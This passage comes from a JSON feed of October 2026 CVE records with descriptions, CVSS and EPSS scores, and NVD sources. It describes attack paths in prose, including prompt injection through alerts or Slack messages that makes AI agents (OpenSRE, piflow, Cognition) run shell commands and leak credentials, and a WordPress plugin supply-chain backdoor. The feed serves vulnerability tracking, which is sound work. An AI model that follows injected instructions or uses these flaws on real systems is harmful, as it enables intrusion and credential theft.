CVE-2026-75128","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75128","type":"primary","publishedAt":"2026-10-20T01:17:19.063Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-75128&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-75128, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109444","cveId":"CVE-2026-109444","aliases":[],"kind":"vulnerability","title":"OpenSRE through 0.1.2026.10.19 contains an approval gate bypass vulnerability that allows attackers to execute shell_run commands without confirmation because the headless...","summary":"OpenSRE through 0.1.2026.10.19 contains an approval gate bypass vulnerability that allows attackers to execute shell_run commands without confirmation because the headless presenter's execution_allowed() always returns True. Attackers can inject instructions into alerts or Slack messages triaged by the agent to run commands on the host and exfiltrate LLM, Slack and cloud credentials.","detail":"OpenSRE through 0.1.2026.10.19 contains an approval gate bypass vulnerability that allows attackers to execute shell_run commands without confirmation because the headless presenter's execution_allowed() always returns True. Attackers can inject instructions into alerts or Slack messages triaged by the agent to run commands on the host and exfiltrate LLM, Slack and cloud credentials.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T01:17:10.673Z","updatedAt":"2026-10-22T22:18:00.267Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109444","asOf":"2026-10-22T22:18:00.267Z"},"epss":{"probability":0.00703,"percentile":0.53012,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109444&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109444","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109444","type":"primary","publishedAt":"2026-10-20T01:17:10.673Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109444&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109444, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109442","cveId":"CVE-2026-109442","aliases":[],"kind":"vulnerability","title":"piflow 2.0.0 through 2.0.1 contains a remote code execution vulnerability in its DeepAgents chat agent, whose POST /chat and POST /chat/stream endpoints lack authentication.","summary":"piflow 2.0.0 through 2.0.1 contains a remote code execution vulnerability in its DeepAgents chat agent, whose POST /chat and POST /chat/stream endpoints lack authentication. Attackers can instruct the agent to call the exec_shell tool, which runs arbitrary commands via subprocess.run without human approval or an allow-list, exposing environment secrets such as LLM API keys and database credentials.","detail":"piflow 2.0.0 through 2.0.1 contains a remote code execution vulnerability in its DeepAgents chat agent, whose POST /chat and POST /chat/stream endpoints lack authentication. Attackers can instruct the agent to call the exec_shell tool, which runs arbitrary commands via subprocess.run without human approval or an allow-list, exposing environment secrets such as LLM API keys and database credentials.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T01:17:10.383Z","updatedAt":"2026-10-20T20:11:29.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109442","asOf":"2026-10-20T20:11:29.833Z"},"epss":{"probability":0.0084,"percentile":0.57569,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109442&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109442","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109442","type":"primary","publishedAt":"2026-10-20T01:17:10.383Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109442&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109442, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112780","cveId":"CVE-2026-112780","aliases":[],"kind":"vulnerability","title":"Grav from 2.0.15 before 2.2.2 contains an allowlist bypass vulnerability that allows page editors to call arbitrary public static methods by renaming Flex form fields with...","summary":"Grav from 2.0.15 before 2.2.2 contains an allowlist bypass vulnerability that allows page editors to call arbitrary public static methods by renaming Flex form fields with replace-name@. Attackers with page-edit permission can smuggle data-*@ directives past the callable check to invoke Folder::delete, Folder::move, or Utils::download, deleting directories, overwriting files, or reading files.","detail":"Grav from 2.0.15 before 2.2.2 contains an allowlist bypass vulnerability that allows page editors to call arbitrary public static methods by renaming Flex form fields with replace-name@. Attackers with page-edit permission can smuggle data-*@ directives past the callable check to invoke Folder::delete, Folder::move, or Utils::download, deleting directories, overwriting files, or reading files.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T20:17:55.473Z","updatedAt":"2026-10-22T21:17:16.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112780","asOf":"2026-10-22T21:17:16.250Z"},"epss":{"probability":0.00717,"percentile":0.53545,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112780&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112780","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112780","type":"primary","publishedAt":"2026-10-19T20:17:55.473Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112780&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112780, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112779","cveId":"CVE-2026-112779","aliases":[],"kind":"vulnerability","title":"Grav API plugin (grav-plugin-api) 1.0.40 before 1.0.42 caches a full translation dictionary for every well-formed language code sent to the unauthenticated GET...","summary":"Grav API plugin (grav-plugin-api) 1.0.40 before 1.0.42 caches a full translation dictionary for every well-formed language code sent to the unauthenticated GET /api/v1/translations/{lang} endpoint, and 1.0.16 before 1.0.42 fails to check target and destination page rules in the sync and batch copy endpoints. Unauthenticated attackers can send small requests that each store about 560 KB to exhaust disk or APCu, while accounts with api.pages.write can overwrite translations or create pages that page-level rules deny.","detail":"Grav API plugin (grav-plugin-api) 1.0.40 before 1.0.42 caches a full translation dictionary for every well-formed language code sent to the unauthenticated GET /api/v1/translations/{lang} endpoint, and 1.0.16 before 1.0.42 fails to check target and destination page rules in the sync and batch copy endpoints. Unauthenticated attackers can send small requests that each store about 560 KB to exhaust disk or APCu, while accounts with api.pages.write can overwrite translations or create pages that page-level rules deny.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T20:17:55.323Z","updatedAt":"2026-10-20T15:17:14.527Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112779","asOf":"2026-10-20T15:17:14.527Z"},"epss":{"probability":0.00761,"percentile":0.55055,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112779&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112779","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112779","type":"primary","publishedAt":"2026-10-19T20:17:55.323Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112779&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112779, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112776","cveId":"CVE-2026-112776","aliases":[],"kind":"vulnerability","title":"Craft CMS from 5.0.0 before 5.11.0 contains an authorization bypass vulnerability that allows site-scoped GraphQL tokens to mutate other sites' content because...","summary":"Craft CMS from 5.0.0 before 5.11.0 contains an authorization bypass vulnerability that allows site-scoped GraphQL tokens to mutate other sites' content because requireAllowedSite() is not enforced. Attackers holding a site-A token can create entries in site B via supplied siteId and delete entries, categories, tags, and assets shared across sites.","detail":"Craft CMS from 5.0.0 before 5.11.0 contains an authorization bypass vulnerability that allows site-scoped GraphQL tokens to mutate other sites' content because requireAllowedSite() is not enforced. Attackers holding a site-A token can create entries in site B via supplied siteId and delete entries, categories, tags, and assets shared across sites.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T20:17:54.900Z","updatedAt":"2026-10-20T16:17:03.123Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Craft CMS"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112776","asOf":"2026-10-20T16:17:03.123Z"},"epss":{"probability":0.00386,"percentile":0.32393,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112776&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112776","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112776","type":"primary","publishedAt":"2026-10-19T20:17:54.900Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112776&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112776, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109437","cveId":"CVE-2026-109437","aliases":[],"kind":"vulnerability","title":"Cognition before 0.13.0 contains an unauthenticated remote code execution vulnerability due to defaulting its agent sandbox backend to local execution and shipping no...","summary":"Cognition before 0.13.0 contains an unauthenticated remote code execution vulnerability due to defaulting its agent sandbox backend to local execution and shipping no authentication on its REST/SSE API. Attackers can create a session via POST /sessions and post a message via POST /sessions/{id}/messages without credentials, causing the Deep Agents ReAct loop to run attacker-directed shell commands through the local shell backend, resulting in remote code execution as the server process.","detail":"Cognition before 0.13.0 contains an unauthenticated remote code execution vulnerability due to defaulting its agent sandbox backend to local execution and shipping no authentication on its REST/SSE API. Attackers can create a session via POST /sessions and post a message via POST /sessions/{id}/messages without credentials, causing the Deep Agents ReAct loop to run attacker-directed shell commands through the local shell backend, resulting in remote code execution as the server process.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T19:17:19.807Z","updatedAt":"2026-10-20T17:17:28.413Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109437","asOf":"2026-10-20T17:17:28.413Z"},"epss":{"probability":0.00778,"percentile":0.55579,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109437&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109437","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109437","type":"primary","publishedAt":"2026-10-19T19:17:19.807Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109437&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109437, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112377","cveId":"CVE-2026-112377","aliases":[],"kind":"vulnerability","title":"CCC Attestation SIG attested-tls-poc through commit 731ca82 fails to bind early attestation Evidence to the TLS connection, allowing attackers to relay valid Evidence from a...","summary":"CCC Attestation SIG attested-tls-poc through commit 731ca82 fails to bind early attestation Evidence to the TLS connection, allowing attackers to relay valid Evidence from a genuine attester. Attackers holding an extracted attested TLS private key can forward the relying party's nonce to a genuine attester and replay its Evidence to impersonate the attested workload and intercept data.","detail":"CCC Attestation SIG attested-tls-poc through commit 731ca82 fails to bind early attestation Evidence to the TLS connection, allowing attackers to relay valid Evidence from a genuine attester. Attackers holding an extracted attested TLS private key can forward the relying party's nonce to a genuine attester and replay its Evidence to impersonate the attested workload and intercept data.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T18:17:05.490Z","updatedAt":"2026-10-20T18:17:18.340Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112377","asOf":"2026-10-20T18:17:18.340Z"},"epss":{"probability":0.00218,"percentile":0.12148,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112377&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112377","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112377","type":"primary","publishedAt":"2026-10-19T18:17:05.490Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112377&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112377, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111862","cveId":"CVE-2026-111862","aliases":[],"kind":"vulnerability","title":"Rank Math SEO PRO for WordPress is affected by a supply-chain compromise in a subset of version 3.0.123 packages downloaded or updated between October 15, 2026 at 20:02 UTC and...","summary":"Rank Math SEO PRO for WordPress is affected by a supply-chain compromise in a subset of version 3.0.123 packages downloaded or updated between October 15, 2026 at 20:02 UTC and October 16, 2026 at 07:12 UTC. Rank Math states that the affected plugin files contained malware that could compromise a website if the plugin was activated and directs sites that activated an affected package to treat the website as compromised. The malware may establish persistent access, communicate with rank1cdn[.]com, recreate hidden backdoors on page visits, and expose WordPress credentials, database credentials, API keys, and other secrets accessible to the web server. Rank Math identifies three malicious wp_options keys, hidden PHP backdoors, unauthorized administrator accounts, a fake WordPress core file, PHP-executable .cache files, and a system cron marker as incident indicators. Only packages obtained during the vendor-confirmed window are claimed as affected; version 3.0.123 alone is not sufficient to establish compromise. Rank Math removed the affected files and released version 3.0.124 as the clean replacement.","detail":"Rank Math SEO PRO for WordPress is affected by a supply-chain compromise in a subset of version 3.0.123 packages downloaded or updated between October 15, 2026 at 20:02 UTC and October 16, 2026 at 07:12 UTC. Rank Math states that the affected plugin files contained malware that could compromise a website if the plugin was activated and directs sites that activated an affected package to treat the website as compromised. The malware may establish persistent access, communicate with rank1cdn[.]com, recreate hidden backdoors on page visits, and expose WordPress credentials, database credentials, API keys, and other secrets accessible to the web server. Rank Math identifies three malicious wp_options keys, hidden PHP backdoors, unauthorized administrator accounts, a fake WordPress core file, PHP-executable .cache files, and a system cron marker as incident indicators. Only packages obtained during the vendor-confirmed window are claimed as affected; version 3.0.123 alone is not sufficient to establish compromise. Rank Math removed the affected files and released version 3.0.124 as the clean replacement.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T17:17:04.507Z","updatedAt":"2026-10-20T15:17:13.573Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111862","asOf":"2026-10-20T15:17:13.573Z"},"epss":{"probability":0.00658,"percentile":0.5122,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111862&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111862","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111862","type":"primary","publishedAt":"2026-10-19T17:17:04.507Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111862&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111862, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107188","cveId":"CVE-2026-107188","aliases":[],"kind":"vulnerability","title":"A user can upload export reports with any file contents and specify any contents.","summary":"A user can upload export reports with any file contents and specify any contents. JSP code can be uploaded, JSPX can be specified as the file extension, and anyone can browse to the uploaded file, leading to command execution. The authentication bypass vulnerability can be chained with this vulnerability to run code on the server without authentication.","detail":"A user can upload export reports with any file contents and specify any contents. JSP code can be uploaded, JSPX can be specified as the file extension, and anyone can browse to the uploaded file, leading to command execution. The authentication bypass vulnerability can be chained with this vulnerability to run code on the server without authentication.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T17:17:01.080Z","updatedAt":"2026-10-20T20:17:13.460Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107188","asOf":"2026-10-20T20:17:13.460Z"},"epss":{"probability":0.00376,"percentile":0.3131,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107188&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107188","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107188","type":"primary","publishedAt":"2026-10-19T17:17:01.080Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107188&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107188, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107083","cveId":"CVE-2026-107083","aliases":[],"kind":"vulnerability","title":"SENAYAN Library Management System (SLiMS) Bulian (slims9_bulian) 9.8.0 is vulnerable to SQL Injection in admin/modules/reporting/customs/dl_detail.php via the parameter fileID.","summary":"SENAYAN Library Management System (SLiMS) Bulian (slims9_bulian) 9.8.0 is vulnerable to SQL Injection in admin/modules/reporting/customs/dl_detail.php via the parameter fileID.","detail":"SENAYAN Library Management System (SLiMS) Bulian (slims9_bulian) 9.8.0 is vulnerable to SQL Injection in admin/modules/reporting/customs/dl_detail.php via the parameter fileID.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T17:17:00.690Z","updatedAt":"2026-10-19T21:17:04.470Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107083","asOf":"2026-10-19T21:17:04.470Z"},"epss":{"probability":0.00487,"percentile":0.41619,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107083&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 